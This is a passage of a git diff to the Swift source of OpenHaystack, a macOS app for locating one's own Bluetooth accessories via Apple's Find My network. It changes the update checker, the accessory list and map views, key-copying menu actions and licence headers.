||||
}
|
||||
|
||||
guard let availableVersion = getVersion(from: htmlString) else {
|
||||
return
|
||||
}
|
||||
|
||||
//Get installed version
|
||||
let version = Bundle.main.infoDictionary?["CFBundleVersionShortString"] as? String ?? "0"
|
||||
|
||||
let comparisonResult = compareVersions(availableVersion: availableVersion, installedVersion: version)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
if comparisonResult == .older, askToDownloadUpdate() == .alertSecondButtonReturn {
|
||||
//The currently installed version is older. Install an update
|
||||
self.downloadUpdate(
|
||||
version: availableVersion,
|
||||
finished: { success in
|
||||
if success {
|
||||
let result = successDownloadAlert()
|
||||
if result == .alertSecondButtonReturn {
|
||||
//Open the download folder
|
||||
let downloadURL = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask)[0]
|
||||
NSWorkspace.shared.open(downloadURL)
|
||||
}
|
||||
} else {
|
||||
if downloadFailedAlert() == .alertSecondButtonReturn {
|
||||
NSWorkspace.shared.open(URL(string: "https://github.com/seemoo-lab/openhaystack/releases")!)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
}.resume()
|
||||
}
|
||||
|
||||
internal static func getVersion(from htmlString: String) -> String? {
|
||||
guard let regex = try? NSRegularExpression(pattern: "Release (v[0-9]+(.[0-9]+)?(.[0-9]+)?)") else {
|
||||
return nil
|
||||
}
|
||||
|
||||
let htmlNSString = htmlString as NSString
|
||||
|
||||
let htmlRange = NSRange(location: 0, length: htmlNSString.length)
|
||||
|
||||
if let checkResult = regex.firstMatch(in: htmlNSString as String, options: [], range: htmlRange),
|
||||
checkResult.numberOfRanges >= 2
|
||||
{
|
||||
|
||||
//Get the latest release version range
|
||||
// A result should have multiple ranges for each capture group. 1 is the capture group for the version number
|
||||
let releaseVersionRange = checkResult.range(at: 1)
|
||||
let releaseVersion = htmlNSString.substring(with: releaseVersionRange)
|
||||
|
||||
let releaseVersionNumber = releaseVersion.replacingOccurrences(of: "v", with: "")
|
||||
|
||||
return releaseVersionNumber
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/// Compares two version strings and returns if the installed version is older, newer or the same
|
||||
/// - Parameters:
|
||||
/// - availableVersion: The latest available version
|
||||
/// - installedVersion: The currently installed version
|
||||
/// - Returns: .older when a newer version is available. .newer when the installed version is newer .same, if both versions are equal
|
||||
internal static func compareVersions(availableVersion: String, installedVersion: String) -> VersionCompare {
|
||||
let availableVersionSplit = availableVersion.split(separator: ".")
|
||||
let installedVersionSplit = installedVersion.split(separator: ".")
|
||||
|
||||
for (idx, availableVersionPart) in availableVersionSplit.enumerated() {
|
||||
|
||||
if idx < installedVersionSplit.count {
|
||||
guard let avpi = Int(availableVersionPart),
|
||||
let ivpi = Int(installedVersionSplit[idx])
|
||||
else { return .older }
|
||||
|
||||
if avpi > ivpi {
|
||||
return .older
|
||||
} else if ivpi > avpi {
|
||||
return .newer
|
||||
}
|
||||
|
||||
} else {
|
||||
//The installed version is x.x
|
||||
// The new version is x.x.y so it must be older
|
||||
return .older
|
||||
}
|
||||
}
|
||||
|
||||
if installedVersionSplit.count > availableVersionSplit.count {
|
||||
//The installed version has a higher sub-version. So it must be newer
|
||||
return .newer
|
||||
}
|
||||
|
||||
// All numbers were equal
|
||||
return .same
|
||||
}
|
||||
|
||||
enum VersionCompare {
|
||||
case same, newer, older
|
||||
}
|
||||
|
||||
static func downloadUpdate(version: String, finished: @escaping (Bool) -> Void) {
|
||||
|
||||
//Download the current version into a file in Downloads
|
||||
let downloadURL = URL(string: "https://github.com/seemoo-lab/openhaystack/releases/download/v\(version)/OpenHaystack.zip")!
|
||||
|
||||
let task = URLSession.shared.downloadTask(with: downloadURL) { optionalFileURL, response, error in
|
||||
|
||||
guard let downloadLocation = optionalFileURL else {
|
||||
finished(false)
|
||||
return
|
||||
}
|
||||
|
||||
//Move the file to the downloads folder
|
||||
let downloadURL = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask)[0]
|
||||
let openHaystackURL = downloadURL.appendingPathComponent("OpenHaystack.zip")
|
||||
do {
|
||||
let fm = FileManager.default
|
||||
if fm.fileExists(atPath: openHaystackURL.path) {
|
||||
_ = try fm.replaceItemAt(openHaystackURL, withItemAt: downloadLocation)
|
||||
} else {
|
||||
try fm.moveItem(at: downloadLocation, to: openHaystackURL)
|
||||
}
|
||||
|
||||
DispatchQueue.main.async { finished(true) }
|
||||
} catch let error {
|
||||
print(error.localizedDescription)
|
||||
DispatchQueue.main.async { finished(false) }
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
task.resume()
|
||||
}
|
||||
|
||||
private static func askToDownloadUpdate() -> NSApplication.ModalResponse {
|
||||
let alert = NSAlert()
|
||||
alert.messageText = NSLocalizedString("New version available", comment: "Alert title")
|
||||
alert.informativeText = NSLocalizedString("A new version of OpenHaystack is available. Do you want to download it now?", comment: "Alert text")
|
||||
alert.addButton(withTitle: "Cancel")
|
||||
alert.addButton(withTitle: "Download")
|
||||
|
||||
return alert.runModal()
|
||||
}
|
||||
|
||||
private static func successDownloadAlert() -> NSApplication.ModalResponse {
|
||||
let alert = NSAlert()
|
||||
alert.messageText = NSLocalizedString("Successfully downloaded update", comment: "Alert title")
|
||||
alert.informativeText = NSLocalizedString("The new version has been downloaded successfully and it was placed in your Downloads folder.", comment: "Alert text")
|
||||
alert.addButton(withTitle: "Okay")
|
||||
alert.addButton(withTitle: "Open folder")
|
||||
|
||||
return alert.runModal()
|
||||
}
|
||||
|
||||
private static func downloadFailedAlert() -> NSApplication.ModalResponse {
|
||||
let alert = NSAlert()
|
||||
alert.messageText = NSLocalizedString("Download failed", comment: "Alert title")
|
||||
alert.informativeText = NSLocalizedString("To update to the newest version, please open the releases page on GitHub", comment: "Alert text")
|
||||
alert.addButton(withTitle: "Cancel")
|
||||
alert.addButton(withTitle: "Open")
|
||||
|
||||
return alert.runModal()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
extension String {
|
||||
func substring(from range: NSRange) -> String {
|
||||
let substring = self[self.index(startIndex, offsetBy: range.lowerBound)..<self.index(startIndex, offsetBy: range.upperBound)]
|
||||
|
||||
return String(substring)
|
||||
}
|
||||
}
|
||||
@@ -1,79 +1,111 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
struct AccessoryListEntry: View {
|
||||
var accessory: Accessory
|
||||
@Binding var accessoryIcon: String
|
||||
@Binding var accessoryColor: Color
|
||||
@Binding var accessoryName: String
|
||||
@Binding var alertType: OpenHaystackMainView.AlertType?
|
||||
var delete: (Accessory) -> Void
|
||||
var deployAccessoryToMicrobit: (Accessory) -> Void
|
||||
var zoomOn: (Accessory) -> Void
|
||||
let formatter = DateFormatter()
|
||||
|
||||
@State var editingName: Bool = false
|
||||
|
||||
func timestampView() -> some View {
|
||||
formatter.dateStyle = .short
|
||||
formatter.timeStyle = .short
|
||||
return Group {
|
||||
if let timestamp = accessory.locationTimestamp {
|
||||
Text(formatter.string(from: timestamp))
|
||||
} else {
|
||||
Text("No location found")
|
||||
}
|
||||
}
|
||||
.font(.footnote)
|
||||
}
|
||||
|
||||
func updateIntervalView() -> some View {
|
||||
let intervalFormatter = DateComponentsFormatter()
|
||||
intervalFormatter.unitsStyle = .abbreviated
|
||||
|
||||
return Group {
|
||||
Text("Key derivation interval: \(intervalFormatter.string(from: accessory.updateInterval)!)")
|
||||
}.font(.footnote)
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
HStack {
|
||||
Button(
|
||||
action: {
|
||||
self.zoomOn(self.accessory)
|
||||
},
|
||||
label: {
|
||||
HStack {
|
||||
Text(accessory.name)
|
||||
Spacer()
|
||||
}
|
||||
.contentShape(Rectangle())
|
||||
}
|
||||
)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
HStack(alignment: .center) {
|
||||
|
||||
Button(
|
||||
action: { self.zoomOn(self.accessory) },
|
||||
label: {
|
||||
Circle()
|
||||
.strokeBorder(accessory.color, lineWidth: 2.0)
|
||||
.background(
|
||||
ZStack {
|
||||
Circle().fill(Color("PinColor"))
|
||||
Image(systemName: accessory.icon)
|
||||
.padding(3)
|
||||
}
|
||||
)
|
||||
|
||||
.frame(width: 30, height: 30)
|
||||
}
|
||||
)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
Button(
|
||||
action: {
|
||||
self.deployAccessoryToMicrobit(accessory)
|
||||
},
|
||||
label: {
|
||||
Text("Deploy")
|
||||
})
|
||||
HStack {
|
||||
IconSelectionView(selectedImageName: $accessoryIcon, selectedColor: $accessoryColor)
|
||||
|
||||
VStack(alignment: .leading) {
|
||||
if self.editingName {
|
||||
TextField("Enter accessory name", text: $accessoryName, onCommit: { self.editingName = false })
|
||||
.font(.headline)
|
||||
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||
} else {
|
||||
Text(accessory.name)
|
||||
.font(.headline)
|
||||
}
|
||||
self.timestampView()
|
||||
if accessory.usesDerivation {
|
||||
self.updateIntervalView()
|
||||
}
|
||||
.padding(.trailing)
|
||||
}
|
||||
|
||||
Divider()
|
||||
Spacer()
|
||||
if !accessory.isDeployed {
|
||||
Button(
|
||||
action: { self.deployAccessoryToMicrobit(accessory) },
|
||||
label: { Text("Deploy") }
|
||||
)
|
||||
}
|
||||
Circle()
|
||||
.fill(accessory.isNearby ? Color.green : accessory.isActive ? Color.orange : Color.red)
|
||||
.frame(width: 8, height: 8)
|
||||
}
|
||||
.contentShape(Rectangle())
|
||||
.listRowBackground(Color.clear)
|
||||
.padding(EdgeInsets(top: 5, leading: 0, bottom: 5, trailing: 0))
|
||||
.contextMenu {
|
||||
Button("Delete", action: { self.delete(accessory) })
|
||||
Button("Rename", action: { self.editingName = true })
|
||||
Menu("Key derivation options") {
|
||||
Button("Toggle key derivation", action: { accessory.usesDerivation = !accessory.usesDerivation })
|
||||
Button("Reset derivation state", action: { accessory.resetDerivationState() })
|
||||
}
|
||||
Divider()
|
||||
Button("Copy advertisment key (Base64)", action: { self.copyPublicKey(of: accessory) })
|
||||
Button("Copy key id (Base64)", action: { self.copyPublicKeyHash(of: accessory) })
|
||||
}
|
||||
Button("Copy key ID (Base64)", action: { self.copyPublicKeyHash(of: accessory) })
|
||||
Menu("Copy advertisement key") {
|
||||
Button("Base64", action: { self.copyAdvertisementKeyB64(of: accessory) })
|
||||
Button("Byte array", action: { self.copyAdvertisementKey(escapedString: false) })
|
||||
Button("Escaped string", action: { self.copyAdvertisementKey(escapedString: true) })
|
||||
}
|
||||
Menu("Copy symmetric and uncompressed public key") {
|
||||
Button("Base64", action: { self.copySymmetricAndPublicKeyBase64(of: accessory) })
|
||||
Button("Escaped string", action: { self.copySymmetricAndPublicKey(of: accessory) })
|
||||
}
|
||||
Divider()
|
||||
Button("Mark as \(accessory.isDeployed ? "deployable" : "deployed")", action: { accessory.isDeployed.toggle() })
|
||||
|
||||
Group {
|
||||
Button("Copy private Key B64", action: { copyPrivateKey(accessory: accessory) })
|
||||
|
||||
Button("Export Locations", action: { exportLocations(accessory: accessory) })
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func copyPublicKey(of accessory: Accessory) {
|
||||
@@ -88,6 +120,18 @@ struct AccessoryListEntry: View {
|
||||
}
|
||||
}
|
||||
|
||||
func copyAdvertisementKeyB64(of accessory: Accessory) {
|
||||
do {
|
||||
let publicKey = try accessory.getAdvertisementKey()
|
||||
let pasteboard = NSPasteboard.general
|
||||
pasteboard.prepareForNewContents(with: .currentHostOnly)
|
||||
pasteboard.setString(publicKey.base64EncodedString(), forType: .string)
|
||||
} catch {
|
||||
os_log("Failed extracing public key %@", String(describing: error))
|
||||
assert(false)
|
||||
}
|
||||
}
|
||||
|
||||
func copyPublicKeyHash(of accessory: Accessory) {
|
||||
do {
|
||||
let keyID = try accessory.getKeyId()
|
||||
@@ -99,10 +143,106 @@ struct AccessoryListEntry: View {
|
||||
assert(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// struct AccessoryListEntry_Previews: PreviewProvider {
|
||||
// static var previews: some View {
|
||||
// AccessoryListEntry()
|
||||
// }
|
||||
// }
|
||||
func copyAdvertisementKey(escapedString: Bool) {
|
||||
do {
|
||||
let publicKey = try self.accessory.getAdvertisementKey()
|
||||
let keyByteArray = [UInt8](publicKey)
|
||||
|
||||
if escapedString {
|
||||
let string = keyByteArray.map { "\\x\(String($0, radix: 16))" }.joined()
|
||||
let pasteboard = NSPasteboard.general
|
||||
pasteboard.prepareForNewContents(with: .currentHostOnly)
|
||||
pasteboard.setString(string, forType: .string)
|
||||
} else {
|
||||
let string = keyByteArray.map { "0x\(String($0, radix: 16))" }.joined(separator: ", ")
|
||||
let pasteboard = NSPasteboard.general
|
||||
pasteboard.prepareForNewContents(with: .currentHostOnly)
|
||||
pasteboard.setString(string, forType: .string)
|
||||
}
|
||||
} catch {
|
||||
os_log("Failed extracing public key %@", String(describing: error))
|
||||
assert(false)
|
||||
}
|
||||
}
|
||||
|
||||
func copySymmetricAndPublicKey(of accessory: Accessory) {
|
||||
do {
|
||||
let symmetricKey = accessory.symmetricKey
|
||||
let publicKey = try accessory.getUncompressedPublicKey()
|
||||
let publicKeyString = [UInt8](publicKey).map { "\\x\(String($0, radix: 16))" }.joined()
|
||||
let symmetricKeyString = [UInt8](symmetricKey).map { "\\x\(String($0, radix: 16))" }.joined()
|
||||
|
||||
let pasteboard = NSPasteboard.general
|
||||
pasteboard.prepareForNewContents(with: .currentHostOnly)
|
||||
pasteboard.setString("Symmetric key: \(symmetricKeyString)\n Uncompressed public key: \(publicKeyString) ", forType: .string)
|
||||
} catch {
|
||||
os_log("Failed extracing public key %@", String(describing: error))
|
||||
assert(false)
|
||||
}
|
||||
}
|
||||
|
||||
func copySymmetricAndPublicKeyBase64(of accessory: Accessory) {
|
||||
do {
|
||||
let symmetricKey = accessory.symmetricKey
|
||||
let publicKey = try accessory.getUncompressedPublicKey()
|
||||
|
||||
let pasteboard = NSPasteboard.general
|
||||
pasteboard.prepareForNewContents(with: .currentHostOnly)
|
||||
pasteboard.setString("Symmetric key: \(symmetricKey.base64EncodedString())\n Uncompressed public key: \(publicKey.base64EncodedString()) ", forType: .string)
|
||||
} catch {
|
||||
os_log("Failed extracing public key %@", String(describing: error))
|
||||
assert(false)
|
||||
}
|
||||
}
|
||||
|
||||
func copyPrivateKey(accessory: Accessory) {
|
||||
let privateKey = accessory.privateKey
|
||||
let keyB64 = privateKey.base64EncodedString()
|
||||
|
||||
let pasteboard = NSPasteboard.general
|
||||
pasteboard.prepareForNewContents(with: .currentHostOnly)
|
||||
pasteboard.setString(keyB64, forType: .string)
|
||||
}
|
||||
|
||||
func exportLocations(accessory: Accessory) {
|
||||
guard let locations = accessory.locations,
|
||||
let locationData = try? JSONEncoder().encode(locations)
|
||||
else {
|
||||
return
|
||||
}
|
||||
|
||||
let savePanel = SavePanel.shared
|
||||
savePanel.saveFile(file: locationData, fileExtension: "json")
|
||||
}
|
||||
|
||||
struct AccessoryListEntry_Previews: PreviewProvider {
|
||||
@StateObject static var accessory = PreviewData.accessories.first!
|
||||
@State static var alertType: OpenHaystackMainView.AlertType?
|
||||
|
||||
static var previews: some View {
|
||||
Group {
|
||||
AccessoryListEntry(
|
||||
accessory: accessory,
|
||||
accessoryIcon: Binding(
|
||||
get: { accessory.icon },
|
||||
set: { accessory.icon = $0 }
|
||||
),
|
||||
accessoryColor: Binding(
|
||||
get: { accessory.color },
|
||||
set: { accessory.color = $0 }
|
||||
),
|
||||
accessoryName: Binding(
|
||||
get: { accessory.name },
|
||||
set: { accessory.name = $0 }
|
||||
),
|
||||
|
||||
alertType: self.$alertType,
|
||||
delete: { _ in () },
|
||||
deployAccessoryToMicrobit: { _ in () },
|
||||
zoomOn: { _ in () })
|
||||
}
|
||||
.frame(width: 300)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import MapKit
|
||||
@@ -43,7 +45,8 @@ class AccessoryAnnotationView: MKAnnotationView {
|
||||
func updateView() {
|
||||
guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else { return }
|
||||
self.pinView?.removeFromSuperview()
|
||||
self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))
|
||||
self.pinView = nil
|
||||
self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory)) // TODO: LEAK! This view is not release properly
|
||||
|
||||
self.addSubview(pinView!)
|
||||
|
||||
@@ -71,40 +74,6 @@ class AccessoryAnnotationView: MKAnnotationView {
|
||||
self.canShowCallout = true
|
||||
}
|
||||
|
||||
// override func draw(_ dirtyRect: NSRect) {
|
||||
// guard let accessoryAnnotation = self.annotation as? AccessoryAnnotation else {
|
||||
// super.draw(dirtyRect)
|
||||
// return
|
||||
// }
|
||||
//
|
||||
// let path = NSBezierPath(ovalIn: dirtyRect)
|
||||
// path.lineWidth = 2.0
|
||||
//
|
||||
// guard let cgColor = accessoryAnnotation.accessory.color.cgColor,
|
||||
// let strokeColor = NSColor(cgColor: cgColor)?.withAlphaComponent(0.8) else {return}
|
||||
//
|
||||
// NSColor(named: NSColor.Name("PinColor"))?.setFill()
|
||||
//
|
||||
// path.fill()
|
||||
//
|
||||
// strokeColor.setStroke()
|
||||
// path.stroke()
|
||||
//
|
||||
// let accessory = accessoryAnnotation.accessory
|
||||
//
|
||||
// guard let image = NSImage(systemSymbolName: accessory.icon, accessibilityDescription: accessory.name) else {return}
|
||||
//
|
||||
// let ratio = image.size.width / image.size.height
|
||||
// let imageWidth: CGFloat = 20
|
||||
// let imageHeight = imageWidth / ratio
|
||||
// let imageRect = NSRect(
|
||||
// x: dirtyRect.width/2 - imageWidth/2,
|
||||
// y: dirtyRect.height/2 - imageHeight/2,
|
||||
// width: imageWidth, height: imageHeight)
|
||||
//
|
||||
// image.draw(in: imageRect)
|
||||
// }
|
||||
|
||||
struct AccessoryPinView: View {
|
||||
var accessory: Accessory
|
||||
|
||||
@@ -135,3 +104,11 @@ class AccessoryAnnotation: NSObject, MKAnnotation {
|
||||
self.accessory = accessory
|
||||
}
|
||||
}
|
||||
|
||||
class AccessoryHistoryAnnotation: NSObject, MKAnnotation {
|
||||
var coordinate: CLLocationCoordinate2D
|
||||
|
||||
init(coordinate: CLLocationCoordinate2D) {
|
||||
self.coordinate = coordinate
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
//
|
||||
// AccessoryMapView.swift
|
||||
// OpenHaystack
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Created by Alex - SEEMOO on 02.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
@@ -13,7 +14,10 @@ import SwiftUI
|
||||
struct AccessoryMapView: NSViewControllerRepresentable {
|
||||
@ObservedObject var accessoryController: AccessoryController
|
||||
@Binding var mapType: MKMapType
|
||||
var focusedAccessory: Accessory?
|
||||
@Binding var focusedAccessory: Accessory?
|
||||
@Binding var showHistory: Bool
|
||||
@Binding var showPastHistory: TimeInterval
|
||||
var delayer = UpdateDelayer()
|
||||
|
||||
func makeNSViewController(context: Context) -> MapViewController {
|
||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
||||
@@ -22,9 +26,30 @@ struct AccessoryMapView: NSViewControllerRepresentable {
|
||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||
let accessories = self.accessoryController.accessories
|
||||
|
||||
nsViewController.zoom(on: focusedAccessory)
|
||||
nsViewController.addLastLocations(from: accessories)
|
||||
|
||||
nsViewController.focusedAccessory = focusedAccessory
|
||||
if showHistory {
|
||||
delayer.delayUpdate {
|
||||
nsViewController.addAllLocations(from: focusedAccessory!, past: showPastHistory)
|
||||
nsViewController.zoomInOnAll()
|
||||
}
|
||||
} else {
|
||||
nsViewController.addLastLocations(from: accessories)
|
||||
nsViewController.zoomInOnSelection()
|
||||
}
|
||||
nsViewController.changeMapType(mapType)
|
||||
}
|
||||
}
|
||||
|
||||
class UpdateDelayer {
|
||||
/// Some view updates need to be delayed to mitigate UI glitches.
|
||||
var delayedWorkItem: DispatchWorkItem?
|
||||
|
||||
func delayUpdate(delay: Double = 0.3, closure: @escaping () -> Void) {
|
||||
self.delayedWorkItem?.cancel()
|
||||
let workItem = DispatchWorkItem {
|
||||
closure()
|
||||
}
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + delay, execute: workItem)
|
||||
self.delayedWorkItem = workItem
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,17 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import AppKit
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
|
||||
final class ActivityIndicator: NSViewRepresentable {
|
||||
struct ActivityIndicator: NSViewRepresentable {
|
||||
|
||||
init(size: NSControl.ControlSize) {
|
||||
self.size = size
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
//
|
||||
// ESP32InstallSheet.swift
|
||||
// OpenHaystack
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Created by Alex - SEEMOO on 09.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
struct ESP32InstallSheet: View {
|
||||
@Binding var accessory: Accessory?
|
||||
@@ -44,13 +45,17 @@ struct ESP32InstallSheet: View {
|
||||
HStack {
|
||||
Spacer()
|
||||
|
||||
Button("Reload ports", action: {
|
||||
self.detectedPorts = ESP32Controller.findPort()
|
||||
})
|
||||
Button(
|
||||
"Reload ports",
|
||||
action: {
|
||||
self.detectedPorts = ESP32Controller.findPort()
|
||||
})
|
||||
|
||||
Button("Cancel", action: {
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
})
|
||||
Button(
|
||||
"Cancel",
|
||||
action: {
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -59,20 +64,23 @@ struct ESP32InstallSheet: View {
|
||||
ScrollView {
|
||||
VStack(spacing: 4) {
|
||||
ForEach(0..<self.detectedPorts.count, id: \.self) { portIdx in
|
||||
Button(action: {
|
||||
if let accessory = self.accessory {
|
||||
// Flash selected module
|
||||
self.deployAccessoryToESP32(accessory: accessory, to: self.detectedPorts[portIdx])
|
||||
}
|
||||
}, label: {
|
||||
HStack {
|
||||
Text(self.detectedPorts[portIdx].path)
|
||||
.padding(4)
|
||||
Spacer()
|
||||
}
|
||||
.contentShape(Rectangle())
|
||||
Button(
|
||||
action: {
|
||||
if let accessory = self.accessory {
|
||||
// Flash selected module
|
||||
self.deployAccessoryToESP32(accessory: accessory, to: self.detectedPorts[portIdx])
|
||||
}
|
||||
},
|
||||
label: {
|
||||
HStack {
|
||||
Text(self.detectedPorts[portIdx].path)
|
||||
.padding(4)
|
||||
Spacer()
|
||||
}
|
||||
.contentShape(Rectangle())
|
||||
|
||||
})
|
||||
}
|
||||
)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
}
|
||||
}
|
||||
@@ -98,19 +106,21 @@ struct ESP32InstallSheet: View {
|
||||
func deployAccessoryToESP32(accessory: Accessory, to port: URL) {
|
||||
do {
|
||||
self.isFlashing = true
|
||||
try ESP32Controller.flashToESP32(accessory: accessory, port: port, completion: { result in
|
||||
presentationMode.wrappedValue.dismiss()
|
||||
try ESP32Controller.flashToESP32(
|
||||
accessory: accessory, port: port,
|
||||
completion: { result in
|
||||
presentationMode.wrappedValue.dismiss()
|
||||
|
||||
self.isFlashing = false
|
||||
switch result {
|
||||
case .success(_):
|
||||
self.alertType = .deployedSuccessfully
|
||||
case .failure(let error):
|
||||
os_log(.error, "Flashing to ESP32 failed %@", String(describing: error))
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
self.alertType = .deployFailed
|
||||
}
|
||||
})
|
||||
self.isFlashing = false
|
||||
switch result {
|
||||
case .success:
|
||||
self.alertType = .deployedSuccessfully
|
||||
case .failure(let error):
|
||||
os_log(.error, "Flashing to ESP32 failed %@", String(describing: error))
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
self.alertType = .deployFailed
|
||||
}
|
||||
})
|
||||
} catch {
|
||||
os_log(.error, "Execution of script failed %@", String(describing: error))
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct IconSelectionView: View {
|
||||
|
||||
@State var showImagePicker = false
|
||||
@State var color: Color = .red
|
||||
@Binding var selectedImageName: String
|
||||
@Binding var selectedColor: Color
|
||||
|
||||
var body: some View {
|
||||
|
||||
@@ -24,18 +26,22 @@ struct IconSelectionView: View {
|
||||
},
|
||||
label: {
|
||||
Circle()
|
||||
.strokeBorder(Color.gray, lineWidth: 0.5)
|
||||
.strokeBorder(self.selectedColor, lineWidth: 2)
|
||||
.background(
|
||||
Image(systemName: self.selectedImageName)
|
||||
ZStack {
|
||||
Circle().fill(Color("PinColor"))
|
||||
Image(systemName: self.selectedImageName)
|
||||
.colorMultiply(Color("PinImageColor"))
|
||||
}
|
||||
)
|
||||
.frame(width: 30, height: 30)
|
||||
.frame(width: 32, height: 32)
|
||||
}
|
||||
)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
.popover(
|
||||
isPresented: self.$showImagePicker,
|
||||
content: {
|
||||
ImageSelectionList(selectedImageName: self.$selectedImageName) {
|
||||
ImageSelectionList(selectedImageName: $selectedImageName, selectedColor: $selectedColor) {
|
||||
self.showImagePicker = false
|
||||
}
|
||||
})
|
||||
@@ -45,42 +51,59 @@ struct IconSelectionView: View {
|
||||
|
||||
struct ColorSelectionView_Previews: PreviewProvider {
|
||||
@State static var selectedImageName: String = "briefcase.fill"
|
||||
@State static var selectedColor: Color = .red
|
||||
|
||||
static var previews: some View {
|
||||
Group {
|
||||
IconSelectionView(selectedImageName: self.$selectedImageName)
|
||||
ImageSelectionList(selectedImageName: self.$selectedImageName, dismiss: {})
|
||||
IconSelectionView(selectedImageName: self.$selectedImageName, selectedColor: self.$selectedColor)
|
||||
ImageSelectionList(selectedImageName: self.$selectedImageName, selectedColor: self.$selectedColor, dismiss: { () })
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
struct ImageSelectionList: View {
|
||||
let selectableIcons = ["briefcase.fill", "case.fill", "latch.2.case.fill", "key.fill", "mappin", "crown.fill", "gift.fill", "car.fill"]
|
||||
|
||||
@Binding var selectedImageName: String
|
||||
@Binding var selectedColor: Color
|
||||
static let boxSize: CGFloat = 30.0
|
||||
|
||||
let dismiss: () -> Void
|
||||
|
||||
let columns: [GridItem] = [
|
||||
GridItem(.fixed(boxSize), spacing: nil),
|
||||
GridItem(.fixed(boxSize), spacing: nil),
|
||||
GridItem(.fixed(boxSize), spacing: nil),
|
||||
GridItem(.fixed(boxSize), spacing: nil),
|
||||
]
|
||||
|
||||
var body: some View {
|
||||
List(self.selectableIcons, id: \.self) { iconName in
|
||||
Button(
|
||||
action: {
|
||||
self.selectedImageName = iconName
|
||||
self.dismiss()
|
||||
},
|
||||
label: {
|
||||
HStack {
|
||||
Spacer()
|
||||
Image(systemName: iconName)
|
||||
Spacer()
|
||||
VStack {
|
||||
ColorPicker(selection: $selectedColor, supportsOpacity: false) {
|
||||
Text("Pick a color")
|
||||
.colorMultiply(Color("PinImageColor"))
|
||||
}
|
||||
ScrollView {
|
||||
LazyVGrid(columns: columns, alignment: .center, spacing: nil, pinnedViews: []) {
|
||||
Section {
|
||||
ForEach(Accessory.icons, id: \.self) { iconName in
|
||||
Button(
|
||||
action: {
|
||||
self.selectedImageName = iconName
|
||||
self.dismiss()
|
||||
},
|
||||
label: {
|
||||
Image(systemName: iconName)
|
||||
.colorMultiply(Color("PinImageColor"))
|
||||
}
|
||||
)
|
||||
